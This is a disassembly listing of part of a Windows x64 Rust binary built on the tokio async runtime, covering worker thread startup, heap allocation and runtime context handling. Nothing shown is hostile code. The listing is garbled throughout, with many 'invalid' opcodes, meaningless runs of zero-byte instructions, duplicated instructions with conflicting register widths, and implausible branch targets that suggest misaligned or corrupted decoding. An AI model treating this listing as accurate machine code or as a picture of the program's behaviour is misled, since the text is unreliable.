lea r9, [0x1401486c8]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.1401049b0
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0xe0], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0xe8], rax
lea rax, [0x140149010]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x40]
call fcn.140104620
lea rcx, str.assertion_failed:_end___start__end___len
lea r8, [0x140148650]
mov edx, 0x2c
call fcn.1401046f0
lea r8, [0x140148668]
mov rcx, r13
mov rdx, rsi
call fcn.1401048e0
lea rcx, [0x140148608]
call fcn.140104a40
lea r8, [0x140148578]
mov rcx, r10
call fcn.1401046e0
lea r8, [0x140148578]
mov rcx, r13
mov rdx, r9
call fcn.1401048e0
ud2
call fcn.140010910
mov ecx, 8
mov rdx, rsi
call fcn.140104360
lea rcx, [0x1401485d8]
call fcn.140104a40
lea rcx, [0x1401485f0]
call fcn.140104a40
int3
lea rax, [r12 - 1]
bsr rcx, rax
not ecx
mov rax, 0xffffffffffffffff
shr rax, cl
shl rax, 2
cmp rax, 0xfffc
mov r13d, 0xfffc
cmovb r13, rax
add r13, 4
lea eax, [r13 - 1]
test r13d, eax
jne 0x1400f04bb
mov qword [rsp + 0x28], rdi
mov r14, r12
shl r14, 0x10
jmp 0x1400ef70b
mov qword [rsp + 0x28], rdi
mov r13d, 4
mov rbx, rbp
lea rax, [r13*8]
lea rdi, [rax + rax*2]
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
je 0x1400ef7f4
mov rsi, rax
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xf0], 0
xor ebp, ebp
lea rdi, [rsp + 0xe0]
xorps xmm6, xmm6
mov r12, r13
jmp 0x1400ef798
lea rax, [rbp*2]
add rax, rbp
inc rbp
movups xmmword [rsi + rax*8], xmm6
mov qword [rsi + rax*8 + 0x10], 0
mov qword [rsp + 0xf0], rbp
dec r12
je 0x1400ef7bc
cmp rbp, qword [rsp + 0xe0]
jne 0x1400ef770
mov rcx, rdi
call fcn.1400f0cf0
mov rsi, qword [rsp + 0xe8]
mov rbp, qword [rsp + 0xf0]
jmp 0x1400ef770
cmp qword [rsp + 0xe0], rbp
jbe 0x1400ef820
test rbp, rbp
je 0x1400ef801
lea rax, [rbp*8]
lea rdi, [rax + rax*2]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
mov rsi, rax
test rax, rax
jne 0x1400ef820
mov ecx, 8
mov rdx, rdi
call fcn.140104360
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 8
nop dword [rax + rax]
mov edi, 1
lock xadd qword [0x14017d060], rdi
test rdi, rdi
je 0x1400ef820
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x120], rax
movups xmm0, xmmword [rsp + 0x1f8]
movups xmm1, xmmword [rsp + 0x208]
movups xmm2, xmmword [rsp + 0x218]
movups xmm3, xmmword [rsp + 0x228]
movaps xmmword [rsp + 0x110], xmm3
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
movzx eax, byte [0x14017d2b0]
mov edx, 0x1e0
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f03a1
dec r13
mov qword [rax], 1
mov qword [rax + 8], 1
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmm2, xmmword [rsp + 0x100]
movaps xmm3, xmmword [rsp + 0x110]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
movups xmmword [rax + 0x40], xmm3
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x50], rax
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x58], r15
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x60], rbx
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x68], rsi
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x70], rbp
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x78], 0
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x80], r13
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x88], rdi
mov rax, qword [rsp + 0x20]
mov byte [rax + 0x90], 0
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x98], 1
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0xa0], rax
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0xa8], 0
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0xb0], r14
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0xb8], rax
mov rcx, qword [rsp + 0x20]
mov byte [rcx + 0xc0], 0
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0xc8], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov qword [rax + 0xd0], rcx
xorps xmm0, xmm0
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0xe1], xmm0
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0xd8], xmm0
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0xf8], xmm0
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x108], 8
mov rax, qword [rsp + 0x20]
mov qword [rax + 0x110], 0
mov rcx, qword [rsp + 0x20]
add rcx, 0x118
lea rdx, [rsp + 0x2b0]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x1c8], rax
mov rax, qword [rsp + 0x20]
mov word [rax + 0x1d0], 0
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x20]
mov dword [rcx + 0x1d4], eax
mov eax, dword [rsp + 0xb0]
mov rcx, qword [rsp + 0x20]
mov dword [rcx + 0x1d8], eax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 8
mov qword [rsp + 0xf0], 0
mov rsi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov qword [rsp + 0x48], 0
test r14, r14
je case.0x1400b5836.977
shl r14, 3
mov r15d, 8
xor r13d, r13d
lea rdi, [rsp + 0xe0]
xor ebp, ebp
jmp 0x1400efae8
mov qword [r15 + r13*8], rbx
inc r13
mov qword [rsp + 0xf0], r13
inc rbp
add r14, 0xfffffffffffffff8
je 0x1400efb61
mov r12, qword [rsi + rbp*8]
lock inc qword [rax]
jle 0x1400f0150
movzx eax, byte [0x14017d2b0]
mov edx, 0x28
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f0152
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rax, qword [rsp + 0x20]
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r12
cmp r13, qword [rsp + 0xe0]
jne 0x1400efad0
mov rcx, rdi
call fcn.1400cf300
mov rax, qword [rsp + 0x20]
mov r15, qword [rsp + 0xe8]
mov r13, qword [rsp + 0xf0]
jmp 0x1400efad0
mov rdi, qword [rsp + 0x48]
mov r14, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x28], rax
test rdi, rdi
je 0x1400efba1
xor ebx, ebx
nop word cs:[rax + rax]
mov rcx, qword [rsi + rbx*8]
inc rbx
call fcn.1400e49c0
cmp rdi, rbx
jne 0x1400efb90
cmp qword [rsp + 0x38], 0
je 0x1400efbbb
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xd0]
lock dec qword [rax]
jne 0x1400efbd6
lea rcx, [rsp + 0xd0]
call fcn.140004bc0
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400efc2a
test eax, eax
jne 0x1400f0441
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xd0], 0
jne 0x1400f03b0
mov qword [rsp + 0x50], r14
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], 0xffffffffffffffff
mov r8, qword [rsp + 0x20]
lock inc qword [r8]
jle 0x1400f0150
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdx, qword [rcx + rax*8]
mov rax, qword [rdx + 0xd8]
mov rcx, qword [rdx + 0xe0]
mov qword [rdx + 0xd8], 1
mov qword [rdx + 0xe0], r8
mov qword [rdx + 0xd0], 0
mov rdx, qword [rdx + 0xe8]
cmp rdx, 0xffffffffffffffff
je 0x1400f03bc
inc rdx
mov r8d, dword [0x14017d2b4]
mov r9, qword gs:[0x58]
mov r8, qword [r9 + r8*8]
mov qword [r8 + 0xe8], rdx
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], rdx
test r13, r13
je 0x1400eff74
shl r13, 3
xor ebp, ebp
xorps xmm6, xmm6
jmp 0x1400efd2d
add rbp, 8
cmp r13, rbp
je 0x1400eff74
mov rax, qword [rsp + 0x28]
mov r15, qword [rax + rbp]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400efd8a
test eax, eax
jne 0x1400f035d
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x1400f0243
lea rcx, [rax + 1]
mov edx, dword [0x14017d2b4]
mov r8, qword gs:[0x58]
mov rdx, qword [r8 + rdx*8]
mov qword [rdx + 0xd0], rcx
mov rdi, qword [rdx + 0xd8]
cmp rdi, 2
je 0x1400f018e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
mov eax, 1
lock xadd qword [rbx], rax
test rdi, rdi
je 0x1400efe30
test rax, rax
js 0x1400f0150
mov eax, 1
mov r14d, 0x1c8
jmp 0x1400efe41
test rax, rax
js 0x1400f0150
add byte [rcx - 0x42], al
push 0x31000001
ror byte [rbx + 0x8d46d0d], 0
mov r14d, 0x168
xor eax, eax
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
dec qword [rcx + 0xd0]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov r12d, 1
lock xadd qword [0x14017d058], r12
movzx eax, byte [0x14017d2b0]
mov edx, 0x100
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f01c5
invalid
invalid
add eax, dword [rax]
invalid
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rsi, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x14014a618]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
sbb dword [rax], 0x4c000000
mov dword [rcx + 0xa0], esp
mov qword [rcx + 0xa8], 2
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0xb0], r15
movups xmmword [rcx + 0xc8], xmm6
mov cl, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
sbb eax, 0
add byte [rax], al
add byte [rdx - 0x75], cl
or al, 0x33
mov rdx, rsi
mov edx, esi
lea r8, [rsp + 0x58]
call fcn.1400e55f0
test rax, rax
je 0x1400eff1b
test rdx, rdx
jne 0x1400f01d4
lock dec qword [rbx]
sete al
test rdi, rdi
je 0x1400eff40
test al, al
je case.0x1400b56c9.970
sal byte [rbp + riz + 0x48], 0x8d
and al, 0x60
lea rcx, [rsp + 0x60]
call fcn.1400e47d0
jmp case.0x1400b56c9.970
add byte [rax], al
add byte [rax], al
add byte [rax + rax*8 - 0x72b7f38c], al
and al, 0x60
add byte [rax], al
add byte [rax], al
test al, al
je case.0x1400b56c9.970
lea rcx, [rsp + 0x60]
call fcn.1400e4710
nop
mov eax, 0xcc
mov ecx, 0x84
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400efd20
mov rax, qword [rsi + 0x10]
mov rcx, rsi
call qword [rax + 0x20]
jmp 0x1400efd20
cmp qword [rsp + 0x50], 0
je 0x1400eff90
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0x28]
ror byte [rax], cl
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x44], cl
and al, 0x28
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x90]
mov qword [rax], 1
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x20
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x20
mov qword [rax + 0x38], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x40], rcx
mov rcx, qword [rsp + 0xa8]
mov qword [rax + 0x48], rcx
lea rcx, [rsp + 0x1f8]
call fcn.1400e6cd0
mov rax, qword [rsp + 0x1f8]
cmp rax, 2
je 0x1400f0046
lea rcx, [rsp + 0x200]
test rax, rax
je 0x1400f0033
mov rax, qword [rsp + 0x200]
mov eax, dword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400f0046
call fcn.1400e47d0
jmp 0x1400f0046
mov r14, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x28], rax
sub byte [rbx + rcx*4 - 0x54], cl
and al, 0xf0
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x1400f004a
cmp byte [rax], al
sub byte [rbx + rcx*4 - 0x54], cl
and al, 0xf0
add byte [rax], al
add byte [rax - 0x7d], cl
jl 0x1400f004a
cmp byte [rax], al
jne 0x1400efba9
jmp 0x1400efbbb
mov rax, qword [rsp + 0x200]
lock dec qword [rax]
jne 0x1400f0046
call fcn.1400e4710
movaps xmm6, xmmword [rsp + 0x3a0]
add rsp, 0x3b8
and al, 0xa0
movabs al, byte [0x3b8c48148000003]
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x7f], cl
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rcx - 0x41], al
or byte [rax], al
add byte [rax], al
mov r14d, 0x10000
cmp r12, 1
jne 0x1400ef672
jmp 0x1400ef700
invalid
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0
add al, byte [rax]
add byte [rcx + rcx*4 - 0x74], cl
mov qword [rsp + 0x208], r9
mov qword [rsp + 0x210], rdx
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
invalid
invalid
invalid
mov qword [rsp + 0x208], r9
mov qword [rsp + 0x210], rdx
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
invalid
invalid
invalid
mov al, byte [0xc49848c6]
and al, 0xe0
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfff4269e
mov qword [rsp + 0xe0], rax
lea rax, case.0x14002c50d.380
mov qword [rsp + 0xe8], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0xf0], rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfffea88f
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdi*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfffea88f
mov qword [rsp + 0xf8], rax
lea rax, [0x140148bf0]
mov qword [rsp + 0x2b0], rax
mov al, 2
add byte [rax], al
mov al, 2
add byte [rax], al
mov qword [rsp + 0x2b8], 2
mov qword [rsp + 0x2d0], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0x2b0]
add al, byte [rax]
add al, ch
rol byte [rcx + rax], 1
add al, byte [rax]
add al, ch
rol byte [rcx + rax], 1
ud2
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 8
mov edx, 0x30
call fcn.140104380
mov ecx, 8
mov edx, 0x800
call fcn.140104360
mov ecx, 8
mov edx, 0x50
call fcn.140104380
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
xor eax, eax
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.140109d90
mov ecx, 0x80
mov edx, 0x80
call fcn.140104380
mov qword [rsp + 0x38], rdx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x70], rax
lea rax, [fcn.1400da7b0]
mov qword [rsp + 0x78], rax
lea rax, str.OS_cant_spawn_worker_thread:
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140104950
mov ecx, 8
mov rdx, rsi
call fcn.140104360
mov al, 1
mov byte [rsp + 0x1c0], al
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0x2b0], rax
lea rax, case.0x14002c50d.380
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x2c0], rax
lea rax, [0x140013b70]
mov qword [rsp + 0x2c8], rax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x2d0], rax
lea rax, [0x140006d30]
mov qword [rsp + 0x2d8], rax
lea rax, [0x140148c50]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 3
mov qword [rsp + 0x100], 0
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], 3
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0xe0]
call fcn.140104620
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
lea rdx, [0x140149a00]
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadqueue.rs
lea rcx, [rsp + 0xd8]
lea r8, [rsp + 0xe0]
call fcn.14010df30
mov al, 1
mov byte [rsp + 0xe0], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermulti_threadworker.rs
lea rcx, [rsp + 0xe0]
call fcn.140109d90
xor eax, eax
cmp ebx, 0xa
adc al, 1
jmp 0x1400f025e
mov ecx, 8
mov edx, 0x1e0
call fcn.140104380
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401048f0
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
lea rax, [0x14016f768]
mov qword [rsp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rsp + 0xe0]
call fcn.140104620
mov ecx, 8
mov edx, 0x60
call fcn.140104360
mov ecx, 8
mov edx, 0x180
call fcn.140104380
mov ecx, 8
mov edx, 0x200
call fcn.140104360
mov ecx, 8
mov edx, 0x70
call fcn.140104380
call fcn.14010df10
lea rax, str.TOKIO_WORKER_THREADS___cannot_be_set_to_0
mov qword [rsp + 0xe0], rax
lea rax, case.0x14002c50d.380
mov qword [rsp + 0xe8], rax
lea rax, [0x140148b20]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 2
mov qword [rsp + 0x2d0], 0
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x2c8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcloom_stdmod.rs
lea rcx, [rsp + 0x2b0]
call fcn.140104620
lea rcx, str.assertion_failed:_sharded_size.is_power_of_two__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcutil_sharded_list.rs
lea r8, [0x14014b938]
mov edx, 0x30
call fcn.1401046f0
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], r8
mov qword [rsp + 0x208], r9
xor eax, eax
jmp 0x1400f025e
add byte [rax], al
call fcn.140104380
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov ecx, 8
mov edx, 0x80
add byte [rax], 0
add al, ch
invalid
cmp dword [rcx], eax
invalid
add byte [rax], 0
add al, ch
invalid
mov ecx, 8
mov edx, 0x28
call fcn.140104380
mov ecx, 8
mov edx, 0x1860
add byte [rdx + 0x1860], bh
call fcn.140104360
call fcn.140010910
int3
xor byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
js 0x1400f0b18
mov eax, dword [r14 + 0x30]
mov r15d, 0xa
cmp eax, 0x3b9aca00
je 0x1400f0b1f
invalid
mov r15, qword [r14 + 0x28]
mov esi, eax
mov dword [rsp + 0x2c], esi
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xa0], 0
invalid
add byte [rax], al
add byte [rax], al
jne 0x1400f0b45
invalid
movabs al, byte [0xebe8057500000000]
dec dword [ebx + 0x8c76905]
add eax, 0xf367ebe8
dec dword [rbx + 0x8c76905]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xa8]
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
inc qword [rax + 0xa8]
mov rsi, qword [r14 + 0x38]
mov r13, qword [r14 + 0x40]
lock inc qword [rsi]
jle 0x1400f0bab
movups xmm7, xmmword [r14 + 0x10]
jle case.0x1400d90d6.240
mov r12, qword [r14 + 0x58]
test r12, r12
mov qword [rsp + 0x38], rbp
je 0x1400f0bad
mov rax, qword [r14 + 0x60]
mov qword [rsp + 0x30], rax
lock inc qword [r12]
add al, 0x24
invalid
add al, 0x24
jle 0x1400f0bab
mov rbp, qword [r14 + 0x68]
test rbp, rbp
je 0x1400f0bb6
mov r14, qword [r14 + 0x70]
lock inc qword [rbp]
jg 0x1400f0bb6
mov rbp, qword [r14 + 0x68]
test rbp, rbp
jne case.0x1400d7de1.280
movzx eax, byte [0x14017d2b0]
mov edx, 0x110
add byte [rdx + 0x110], bh
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400f0cdc
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm7
js 0x1400f0bf5
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0x10], edi
js 0x1400f0bf5
js 0x1400f0bf5
mov qword [rax + 0x20], r15
mov ecx, dword [rsp + 0x2c]
mov dword [rax + 0x28], ecx
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], r13
mov dword [rax + 0x38], ebp
xorps xmm0, xmm0
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], 8
movups xmmword [rax + 0x58], xmm0
movups xmm1, xmmword [0x140148950]
add eax, 0x48110f00
push 0x430d100f
jge 0x1400f0c21
add byte [rdi], cl
adc dword [rax + 0x78], ecx
add eax, 0x48110f00
push 0x430d100f
jge 0x1400f0c21
add byte [rdi], cl
adc dword [rax + 0x78], ecx
movups xmmword [rax + 0x88], xmm6
mov qword [rax + 0x98], rbx
mov qword [rax + 0xa0], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rax + 0xa0], 0
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
add byte [rax], al
add byte [rax], al
add bh, al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xc4], 0
mov qword [rax + 0xc8], 0
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x60], cl
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x60], cl
rol byte [rax], 1
add byte [rax], al
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0xd8], rcx
mov qword [rax + 0xe0], rbp
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
call 0x1880f0c83
mov ecx, dword [rsp + 0x38]
add byte [rax], al
add byte [rcx + rcx*4 - 0x50], cl
call 0x1880f0c83
mov ecx, dword [rsp + 0x38]
mov qword [rax + 0xf0], rcx
movups xmmword [rax + 0xf8], xmm0
cmp al, 0
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x40]
movaps xmm7, xmmword [rsp + 0x50]
push rax
push rax
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add dword ss:[rax], eax
in al, dx
pop rax
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je case.0x1400dbc8d.155
lea rdx, [rax + rax]
lea edx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
movabs r8, 0x555555555555556
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0x394cd231
ror dword [rdi], 0x92
invalid
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0x394cd231
ror dword [rdi], 0x92
ret 0x8348
invalid
invalid
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
lea rcx, [rdi*8]
lea ecx, [rdi*8]
lea ecx, [rdi*8]
lea r8, [rcx + rcx*2]
shl edx, 3
test rax, rax
je case.0x1400dbd4b.145
mov rcx, qword [rsi + 8]
shl rax, 3
lea rax, [rax + rax*2]
lea eax, [rax + rax*2]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
or byte [rax], al
add byte [rax], al
jmp 0x1400f0d65
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.140038db0
invalid
xor ah, 0xff
dec dword [rax - 0x7d]
jl 0x1400f0da1
sub byte [rax], al
invalid
dec dword [rax - 0x7d]
jl 0x1400f0da1
sub byte [rax], al
jne case.0x1400dc111.131
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.140104360
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
call fcn.140104360
int3
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1d8
sub esp, 0x1d8
sub esp, 0x1d8
movapd xmmword [rsp + 0x1c0], xmm13
movaps xmmword [rsp + 0x1c0], xmm13
movapd xmmword [rsp + 0x1b0], xmm12
movaps xmmword [rsp + 0x1b0], xmm4
movapd xmmword [rsp + 0x1a0], xmm11
movapd xmmword [rsp + 0x190], xmm10
add byte [rsi + 0x44], ah
movaps xmmword [rsp + 0x190], xmm2
movdqa xmmword [rsp + 0x180], xmm9
movaps xmmword [rsp + 0x170], xmm8
add byte [rax], al
add byte [rax], al
